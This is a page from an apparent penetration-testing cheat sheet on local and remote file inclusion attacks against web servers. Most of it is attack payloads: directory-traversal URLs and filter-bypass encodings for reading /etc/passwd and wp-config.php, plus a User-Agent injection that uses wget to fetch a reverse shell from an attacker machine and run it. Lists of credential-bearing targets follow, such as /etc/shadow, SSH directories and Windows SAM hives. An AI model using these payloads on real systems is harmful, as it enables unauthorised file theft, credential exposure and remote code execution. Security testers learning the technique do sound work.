Hacker's Grimoire
Search…
Local and remote file inclusion
Local file inclusion (LFI) vulnerabilities allow an attacker to read local files on the web server using malicious web requests, such as:
- Web configuration files
- Log files
- Password files
- Other sensitive system data
LFI can also be used for remote code execution (RCE). In most cases, this is due to poor or missing input sanitization.
Remote file inclusions are similar, but the attacker is taking advantage of the web server's ability to call local files, and using it to upload files from remote servers. These remote files can be malicious code that executes in the context of the web server user (e.g. www-data).
Techniques
Basic
Assuming you are on a Linux system, test if you can display
/etc/passwd by moving back 5 directory levels:1
http://host/?page=../../../../../etc/passwd
Copied!
Even if this doesn't work, it doesn't mean that the website is immune to path traversal. When filtering input, developers will often prevent the use of forward slashes, but not backslashes or encoded characters.
wget
Sometimes browsers mess around with basic directory traversal sequences, but
wget may work:1
wget http://[host]/wp-content/uploads/page.php?url=../../../../../../../var/www/html/wp-config.php
Copied!
Nesting traversal sequences
If the application is attempting to sanitize user input by removing traversal sequences, but does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another:
1
....//
2
3
....\/
4
5
..../\
6
7
....\\
Copied!
URL-encoded
Encoding all the slashes and dots in your path traversal could bypass input filters:
1
dot %2e
2
forward slash %2f
3
backslash %5c
Copied!
Example:
1
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd
Copied!
Double URL-encoded
Another encoding method:
1
dot %252e
2
forward slash %252f
3
backslash %255c
Copied!
Example:
1
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Copied!
Overlong UTF-8 encoding
You can also use the illegal Unicode payload type in Burp Intruder for this technique:
1
dot %c0%2e %e0%40%ae %c0ae etc.
2
forward slash %c0%af %e0%80%af %c0%2f etc.
3
backslash %c0%5c %c0%80%5c etc.
Copied!
Null-byte injection
Some applications check whether the user-supplied file name ends in a particular file type or set of file types, and reject attempts to access anything else. A null byte terminator (
%00 or 0x00 in hex) added to the LFI/RFI parameter will stop processing immediately, so that any bytes following it are ignored.In the following code example, the extension
.php added to the file request variable $file:1
$file = $_GET['page'];
2
require_once("/var/www/$file.php");
Copied!
Requesting
/etc/passwd in this case will not work because the request becomes passwd.php resulting in a 404 error. However, if we add a null byte to the passwd file name it will terminate at the end of passwd and discard the remaining bytes:1
http://website/page=../../../etc/passwd%00
Copied!
proc/self/environ method
If you're able to request
/proc/self/environ using LFI, you might be able to get a shell by downloading a remote file with reverse shellcode and run it on the system (e.g. php reverse shell). You'll need to intercept the /proc/self/environ request and replace HTTP request header User Agent with the following:1
<?system('wget http://[attack machine]/reverseshell.txt -O shell.php');?>
Copied!
Then execute the shell by calling the URL where it was uploaded:
1
http://[host]/folder/shell.php
Copied!
Interesting files
If an LFI vulnerability exists, look for these files:
Linux
Linux system and user files:
1
/etc/passwd
2
/etc/shadow
3
/etc/issue
4
/etc/group
5
/etc/hostname
6
/home/user/
7
/home/user/.ssh
8
/home/user/bash_history
Copied!
Log files
Potentially interesting logfiles:
1
/var/log/apache/access.log
2
/var/log/apache2/access.log
3
/var/log/httpd/access_log
4
/var/log/apache/error.log
5
/var/log/apache2/error.log
6
/var/log/httpd/error_log
Copied!
CMS configuration files
If there is a web server, always check
/var/www/html for interesting files, including robots.txt in the root web folder.Content management system configuration files:
1
WordPress: /var/www/html/wp-config.php
2
Joomla: /var/www/configuration.php
3
Dolphin CMS: /var/www/html/inc/header.inc.php
4
Drupal: /var/www/html/sites/default/settings.php
5
Mambo: /var/www/configuration.php
6
PHPNuke: /var/www/config.php
7
PHPbb: /var/www/config.php
Copied!
Windows
Files that may exist on Windows systems:
1
c:\WINDOWS\system32\eula.txt
2
c:\boot.ini
3
c:\WINDOWS\win.ini
4
c:\WINNT\win.ini
5
c:\WINDOWS\Repair\SAM
6
c:\WINDOWS\php.ini
7
c:\WINNT\php.ini
8
c:\Program Files\Apache Group\Apache\conf\httpd.conf
9
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
10
c:\Program Files\xampp\apache\conf\httpd.conf
11
c:\php\php.ini
12
c:\php5\php.ini
13
c:\php4\php.ini
14
c:\apache\php\php.ini
15
c:\xampp\apache\bin\php.ini
16
c:\home2\bin\stable\apache\php.ini
17
c:\home\bin\stable\apache\php.ini
Copied!
The system and SAM files might be in different locations. As well, the path might be case-sensitive, even though it's Windows.
1
# SYSTEMROOT is usually windows
2
windows\repair\SAM
3
%SYSTEMROOT%\repair\SAM
4
%SYSTEMROOT%\System32\config\RegBack\SAM
5
%SYSTEMROOT%\System32\config\SAM
6
%SYSTEMROOT%\repair\system
7
%SYSTEMROOT%\System32\config\SYSTEM
8
%SYSTEMROOT%\System32\config\RegBack\system
Copied!
Further reading
Last modified 3yr ago